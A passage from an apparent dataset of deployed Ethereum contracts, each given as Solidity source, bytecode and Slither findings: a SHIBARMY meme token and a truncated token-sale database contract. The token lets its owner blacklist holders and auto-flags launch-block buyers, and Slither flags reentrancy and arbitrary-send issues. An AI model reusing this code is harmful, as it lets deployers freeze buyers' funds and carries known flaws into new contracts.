address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xf5d6e62894230a70fcdf6a4b73137a8e20a9d746
//Telegram: https://t.me/shibarmyinu //Website: https://shibarmyinu.com // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SHIBARMY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e10 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 9; uint256 private _previousteamFee = _teamFee; string private constant _name = "SHIBARMY INU"; string private constant _symbol = "SHIBARMY"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(3); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 9, "not larger than 9%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152600c81526b5348494241524d5920494e5560a01b60208201525b6040516101b09190611944565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046119be565b61051e565b60405190151581526020016101b0565b3480156101f557600080fd5b50678ac7230489e800005b6040519081526020016101b0565b34801561021a57600080fd5b506101d96102293660046119ea565b610535565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d366004611a41565b61059e565b34801561026e57600080fd5b506101d961027d366004611b06565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611b06565b610634565b3480156102c757600080fd5b50610170610682565b3480156102dc57600080fd5b506101d96102eb366004611b06565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611b06565b6106bc565b34801561033557600080fd5b506101706106de565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611b06565b610714565b34801561039257600080fd5b506040805180820190915260088152675348494241524d5960c01b60208201526101a3565b3480156103c357600080fd5b506101d96103d23660046119be565b61078e565b3480156103e357600080fd5b506101706103f2366004611a41565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611b06565b61096b565b34801561043857600080fd5b50610170610447366004611b06565b6109b6565b34801561045857600080fd5b50610200610467366004611b23565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b5c565b610c11565b3480156104be57600080fd5b506101706104cd366004611b06565b610c86565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b75565b60405180910390fd5b6000610510306106bc565b905061051b81610d1e565b50565b600061052b338484610e98565b5060015b92915050565b6000610542848484610fbc565b610594843361058f85604051806060016040528060288152602001611cf0602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fd565b610e98565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b75565b60005b8151811015610630576000600560008484815181106105ec576105ec611baa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611bd6565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611b75565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f90611437565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b75565b61071260006114bb565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b75565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbc565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b75565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611baa565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611baa565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611baa565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611bd6565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b75565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d8190556109669060b4611bf1565b600e55565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104fc90611b75565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e05760405162461bcd60e51b81526004016104fc90611b75565b600c54600160a01b900460ff1615610a485760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611c09565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b349190611c09565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190611c09565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b81526004016104fc90611b75565b6009811115610c815760405162461bcd60e51b81526020600482015260126024820152716e6f74206c6172676572207468616e20392560701b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb05760405162461bcd60e51b81526004016104fc90611b75565b6001600160a01b038116610d155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816114bb565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6657610d66611baa565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611c09565b81600181518110610df657610df6611baa565b6001600160a01b039283166020918202929092010152600b54610e1c9130911684610e98565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e55908590600090869030904290600401611c26565b600060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118c5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111ce57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e45750600c54600160a81b900460ff16155b80156112145750600c546001600160a01b03858116911614806112145750600c546001600160a01b038481169116145b156113eb57600c54600160b81b900460ff166112725760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a15750600b546001600160a01b03848116911614155b80156112ae575042600e54115b156112f55760006112be846106bc565b90506112de60646112d8678ac7230489e80000600261150b565b9061158a565b6112e884836115cc565b11156112f357600080fd5b505b600d54421415611323576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132e306106bc565b600c54909150600160b01b900460ff161580156113595750600c546001600160a01b03868116911614155b156113e95780156113e957600c5461138d906064906112d890600f90611387906001600160a01b03166106bc565b9061150b565b8111156113ba57600c546113b7906064906112d890600f90611387906001600160a01b03166106bc565b90505b60006113c782600361158a565b90506113d38183611c97565b91506113de8161162b565b6113e782610d1e565b505b505b6113f78484848461165b565b50505050565b600081848411156114215760405162461bcd60e51b81526004016104fc9190611944565b50600061142e8486611c97565b95945050505050565b600060065482111561149e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006114a861175e565b90506114b4838261158a565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261151a5750600061052f565b60006115268385611cae565b9050826115338583611ccd565b146114b45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006114b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611781565b6000806115d98385611bf1565b9050838110156114b45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60b01b1916600160b01b17905561164b3061dead83610fbc565b50600c805460ff60b01b19169055565b8080611669576116696117af565b600080600080611678876117cb565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a59085611812565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d490846115cc565b6001600160a01b0389166000908152600160205260409020556116f681611854565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173b91815260200190565b60405180910390a3505050508061175757611757600954600855565b5050505050565b600080600061176b61189e565b909250905061177a828261158a565b9250505090565b600081836117a25760405162461bcd60e51b81526004016104fc9190611944565b50600061142e8486611ccd565b6000600854116117be57600080fd5b6008805460095560009055565b6000806000806000806117e0876008546118de565b9150915060006117ee61175e565b90506000806117fe8a858561190b565b909b909a5094985092965092945050505050565b60006114b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fd565b600061185e61175e565b9050600061186c838361150b565b3060009081526001602052604090205490915061188990826115cc565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118b9828261158a565b8210156118d557505060065492678ac7230489e8000092509050565b90939092509050565b600080806118f160646112d8878761150b565b905060006118ff8683611812565b96919550909350505050565b60008080611919868561150b565b90506000611927868661150b565b905060006119358383611812565b92989297509195505050505050565b600060208083528351808285015260005b8181101561197157858101830151858201604001528201611955565b81811115611983576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356119b981611999565b919050565b600080604083850312156119d157600080fd5b82356119dc81611999565b946020939093013593505050565b6000806000606084860312156119ff57600080fd5b8335611a0a81611999565b92506020840135611a1a81611999565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5457600080fd5b823567ffffffffffffffff80821115611a6c57600080fd5b818501915085601f830112611a8057600080fd5b813581811115611a9257611a92611a2b565b8060051b604051601f19603f83011681018181108582111715611ab757611ab7611a2b565b604052918252848201925083810185019188831115611ad557600080fd5b938501935b82851015611afa57611aeb856119ae565b84529385019392850192611ada565b98975050505050505050565b600060208284031215611b1857600080fd5b81356114b481611999565b60008060408385031215611b3657600080fd5b8235611b4181611999565b91506020830135611b5181611999565b809150509250929050565b600060208284031215611b6e57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bea57611bea611bc0565b5060010190565b60008219821115611c0457611c04611bc0565b500190565b600060208284031215611c1b57600080fd5b81516114b481611999565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c765784516001600160a01b031683529383019391830191600101611c51565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ca957611ca9611bc0565b500390565b6000816000190483118215151615611cc857611cc8611bc0565b500290565b600082611cea57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd68458beefab14d29285b7035752736055a1bf8d30fb2b54fc4a904447af56864736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,700
0xcf1f116947ba657dcc9fbab294d2d8cd4b12c362
pragma solidity 0.4.24; // File: contracts\safe_math_lib.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts\database.sol contract database { /* libraries */ using SafeMath for uint256; /* struct declarations */ struct participant { address eth_address; // your eth address uint256 topl_address; // your topl address uint256 arbits; // the amount of a arbits you have uint256 num_of_pro_rata_tokens_alloted; bool arbits_kyc_whitelist; // if you pass arbits level kyc you get this uint8 num_of_uses; } /* variable declarations */ // permission variables mapping(address => bool) public sale_owners; mapping(address => bool) public owners; mapping(address => bool) public masters; mapping(address => bool) public kycers; // database mapping mapping(address => participant) public participants; address[] public participant_keys; // sale open variables bool public arbits_presale_open = false; // Presale variables bool public iconiq_presale_open = false; // ^^^^^^^^^^^^^^^^^ bool public arbits_sale_open = false; // Main sale variables // sale state variables uint256 public pre_kyc_bonus_denominator; uint256 public pre_kyc_bonus_numerator; uint256 public pre_kyc_iconiq_bonus_denominator; uint256 public pre_kyc_iconiq_bonus_numerator; uint256 public contrib_arbits_min; uint256 public contrib_arbits_max; // presale variables uint256 public presale_arbits_per_ether; // two different prices, but same cap uint256 public presale_iconiq_arbits_per_ether; // and sold values uint256 public presale_arbits_total = 18000000; uint256 public presale_arbits_sold; // main sale variables uint256 public sale_arbits_per_ether; uint256 public sale_arbits_total; uint256 public sale_arbits_sold; /* constructor */ constructor() public { owners[msg.sender] = true; } /* permission functions */ function add_owner(address __subject) public only_owner { owners[__subject] = true; } function remove_owner(address __subject) public only_owner { owners[__subject] = false; } function add_master(address _subject) public only_owner { masters[_subject] = true; } function remove_master(address _subject) public only_owner { masters[_subject] = false; } function add_kycer(address _subject) public only_owner { kycers[_subject] = true; } function remove_kycer(address _subject) public only_owner { kycers[_subject] = false; } /* modifiers */ modifier log_participant_update(address __eth_address) { participant_keys.push(__eth_address); // logs the given address in participant_keys _; } modifier only_owner() { require(owners[msg.sender]); _; } modifier only_kycer() { require(kycers[msg.sender]); _; } modifier only_master_or_owner() { require(masters[msg.sender] || owners[msg.sender]); _; } /* database functions */ // GENERAL VARIABLE getters & setters // getters function get_sale_owner(address _a) public view returns(bool) { return sale_owners[_a]; } function get_contrib_arbits_min() public view returns(uint256) { return contrib_arbits_min; } function get_contrib_arbits_max() public view returns(uint256) { return contrib_arbits_max; } function get_pre_kyc_bonus_numerator() public view returns(uint256) { return pre_kyc_bonus_numerator; } function get_pre_kyc_bonus_denominator() public view returns(uint256) { return pre_kyc_bonus_denominator; } function get_pre_kyc_iconiq_bonus_numerator() public view returns(uint256) { return pre_kyc_iconiq_bonus_numerator; } function get_pre_kyc_iconiq_bonus_denominator() public view returns(uint256) { return pre_kyc_iconiq_bonus_denominator; } function get_presale_iconiq_arbits_per_ether() public view returns(uint256) { return (presale_iconiq_arbits_per_ether); } function get_presale_arbits_per_ether() public view returns(uint256) { return (presale_arbits_per_ether); } function get_presale_arbits_total() public view returns(uint256) { return (presale_arbits_total); } function get_presale_arbits_sold() public view returns(uint256) { return (presale_arbits_sold); } function get_sale_arbits_per_ether() public view returns(uint256) { return (sale_arbits_per_ether); } function get_sale_arbits_total() public view returns(uint256) { return (sale_arbits_total); } function get_sale_arbits_sold() public view returns(uint256) { return (sale_arbits_sold); } // setters function set_sale_owner(address _a, bool _v) public only_master_or_owner { sale_owners[_a] = _v; } function set_contrib_arbits_min(uint256 _v) public only_master_or_owner { contrib_arbits_min = _v; } function set_contrib_arbits_max(uint256 _v) public only_master_or_owner { contrib_arbits_max = _v; } function set_pre_kyc_bonus_numerator(uint256 _v) public only_master_or_owner { pre_kyc_bonus_numerator = _v; } function set_pre_kyc_bonus_denominator(uint256 _v) public only_master_or_owner { pre_kyc_bonus_denominator = _v; } function set_pre_kyc_iconiq_bonus_numerator(uint256 _v) public only_master_or_owner { pre_kyc_iconiq_bonus_numerator = _v; } function set_pre_kyc_iconiq_bonus_denominator(uint256 _v) public only_master_or_owner { pre_kyc_iconiq_bonus_denominator = _v; } function set_presale_iconiq_arbits_per_ether(uint256 _v) public only_master_or_owner { presale_iconiq_arbits_per_ether = _v; } function set_presale_arbits_per_ether(uint256 _v) public only_master_or_owner { presale_arbits_per_ether = _v; } function set_presale_arbits_total(uint256 _v) public only_master_or_owner { presale_arbits_total = _v; } function set_presale_arbits_sold(uint256 _v) public only_master_or_owner { presale_arbits_sold = _v; } function set_sale_arbits_per_ether(uint256 _v) public only_master_or_owner { sale_arbits_per_ether = _v; } function set_sale_arbits_total(uint256 _v) public only_master_or_owner { sale_arbits_total = _v; } function set_sale_arbits_sold(uint256 _v) public only_master_or_owner { sale_arbits_sold = _v; } // PARTICIPANT SPECIFIC getters and setters // getters function get_participant(address _a) public view returns( address, uint256, uint256, uint256, bool, uint8 ) { participant storage subject = participants[_a]; return ( subject.eth_address, subject.topl_address, subject.arbits, subject.num_of_pro_rata_tokens_alloted, subject.arbits_kyc_whitelist, subject.num_of_uses ); } function get_participant_num_of_uses(address _a) public view returns(uint8) { return (participants[_a].num_of_uses); } function get_participant_topl_address(address _a) public view returns(uint256) { return (participants[_a].topl_address); } function get_participant_arbits(address _a) public view 